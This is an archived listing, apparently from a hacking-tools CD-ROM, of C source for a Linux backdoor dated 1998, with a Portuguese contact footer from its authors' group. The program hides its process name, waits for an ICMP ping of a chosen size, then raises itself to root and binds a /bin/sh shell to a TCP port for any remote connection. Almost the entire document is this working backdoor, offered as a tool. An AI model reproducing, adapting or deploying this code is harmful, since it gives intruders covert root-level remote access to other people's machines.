home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Hacking tool / Backdoor / pingback.c.txt < prev    next >
Text File  |  2001-04-29  |  4KB  |  217 lines

  1. /*
  2.  * sekure ping backdoor for linux. (Sep 13, 1998)
  3.  *
  4.  *
  5.  * usage:    
  6.  *  ./ping-back packet_size port
  7.  *      
  8.  *                  |         `-> port to bind the shell.
  9.  *                  `-> you'll use this number to start the shell. 
  10.  *  
  11.  *  to start the shell: ping host -s packet_size
  12.  *  
  13.  *
  14.  * coded by jamez. e-mail: jamez@sekure.org
  15.  *
  16.  * http://www.sekure.org
  17.  *
  18.  */
  19.  
  20.  
  21.  
  22. #include <signal.h>
  23. #include <netinet/ip.h>
  24. #include <netdb.h>
  25.  
  26.  
  27. int SIZEPACK, PORT;
  28.  
  29.  
  30.  
  31.  
  32. void child_kill() 
  33. {
  34.   wait(NULL);
  35.   signal(SIGCHLD, child_kill);
  36. }
  37.  
  38.  
  39.  
  40.  
  41. int bind_shell() 
  42. {
  43.   
  44.   int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  45.   struct sockaddr_in serv_addr;
  46.   struct sockaddr_in client_addr;
  47.  
  48.   
  49.  
  50.   setuid(0);
  51.   setgid(0);
  52.   seteuid(0);
  53.   setegid(0);
  54.                   
  55.   chdir("/"); 
  56.  
  57.   
  58.   soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  59.  
  60.   if (soc_des == -1) 
  61.     exit(-1);
  62.  
  63.  
  64.   bzero((char *) &serv_addr,sizeof(serv_addr));
  65.   
  66.   serv_addr.sin_family = AF_INET;
  67.   serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  68.   serv_addr.sin_port = htons(PORT);
  69.   soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
  70.  
  71.   
  72.   if (soc_rc != 0) 
  73.     exit(-1);
  74.   
  75.   if (fork() != 0) 
  76.     exit(0);
  77.   
  78.     
  79.   setpgrp();
  80.  
  81.   
  82.   
  83.   if (fork() != 0)
  84.     exit(0);
  85.     
  86.  
  87.     
  88.   soc_rc = listen(soc_des, 5);
  89.   if (soc_rc != 0) 
  90.     exit(0);
  91.  
  92.   
  93.   while (1) 
  94.     {
  95.       soc_len = sizeof(client_addr);
  96.       soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
  97.  
  98.       if (soc_cli < 0) 
  99.     exit(0);
  100.       
  101.       cli_pid = getpid();
  102.       server_pid = fork();
  103.       
  104.       if (server_pid != 0) 
  105.     {
  106.       dup2(soc_cli,0);
  107.       dup2(soc_cli,1);
  108.       dup2(soc_cli,2);
  109.       execl("/bin/sh","sh",(char *)0);
  110.       close(soc_cli);
  111.       return 1;
  112.     }
  113.       
  114.       close(soc_cli);
  115.     }
  116.     
  117.   
  118. }
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125. int main(int argc, char *argv[])
  126. {
  127.   
  128.   int s, size, fromlen;
  129.   char pkt[4096];
  130.  
  131.  
  132.   struct protoent *proto;
  133.   struct sockaddr_in from;
  134.  
  135.  
  136.   if(argc < 3) {
  137.     printf("usage: %s packet_size port (jamez@sekure.org)\n", argv[0]);
  138.     exit(0);
  139.   }
  140.  
  141.  
  142.   SIZEPACK = atoi(argv[1]);
  143.   PORT = atoi(argv[2]);
  144.   
  145.   
  146.  
  147.   
  148.   strcpy(argv[0], (char *)strcat(argv[0], "                             "));
  149.  
  150.  
  151.   signal(SIGHUP,SIG_IGN);
  152.   signal(SIGCHLD, child_kill);
  153.   
  154.   
  155.   if (fork() != 0) exit(0);
  156.   
  157.  
  158.   
  159.   proto = getprotobyname("icmp");  
  160.  
  161.   if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) 
  162.     /* can't creat raw socket */
  163.     exit(0);
  164.  
  165.       
  166.  
  167.   /* waiting for packets */
  168.   while(1)
  169.     {
  170.       do
  171.     {
  172.       fromlen = sizeof(from);
  173.       if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
  174.         printf("ping of %i\n", size-28);
  175.       
  176.         } while (size != SIZEPACK + 28);
  177.       
  178.       
  179.       
  180.       
  181.       /* size == SIZEPACK, let's bind the shell */
  182.       switch(fork())      {
  183.       case -1:
  184.     continue;            
  185.       case 0:
  186.     /* strcpy(argv[0], "-sekure working for your profit-"); */
  187.     bind_shell();
  188.     exit(0);
  189.       }
  190.                  
  191.       sleep(15);
  192.       
  193.     }
  194.   
  195.  
  196.  
  197.   
  198.  
  199. Contatos
  200. --------
  201.  
  202.  sekure/uground industries - Papers & Resources
  203.  uma publicacao da sekure/uground industries (tm)
  204.  http://www.sekure.org - contatos: security@sekure.org
  205.  
  206.  Procure pelos advisories da sekure/uground industries em http://www.sekure.org/advisories.html
  207.  
  208.  Assine a lista Best Of Security Brasil - http://www.sekure.org/bos
  209.  Mande mensagem pra bos-br-request@sekure.org
  210.  Ponha "subscribe bos-br" no corpo da mensagem.
  211.  
  212. ---
  213.  
  214. /*           ■=-∙· passed thru infected network  ·∙-=■         */
  215. /*           ■=-∙·   http://infected.ilm.net/    ·∙-=■         */
  216.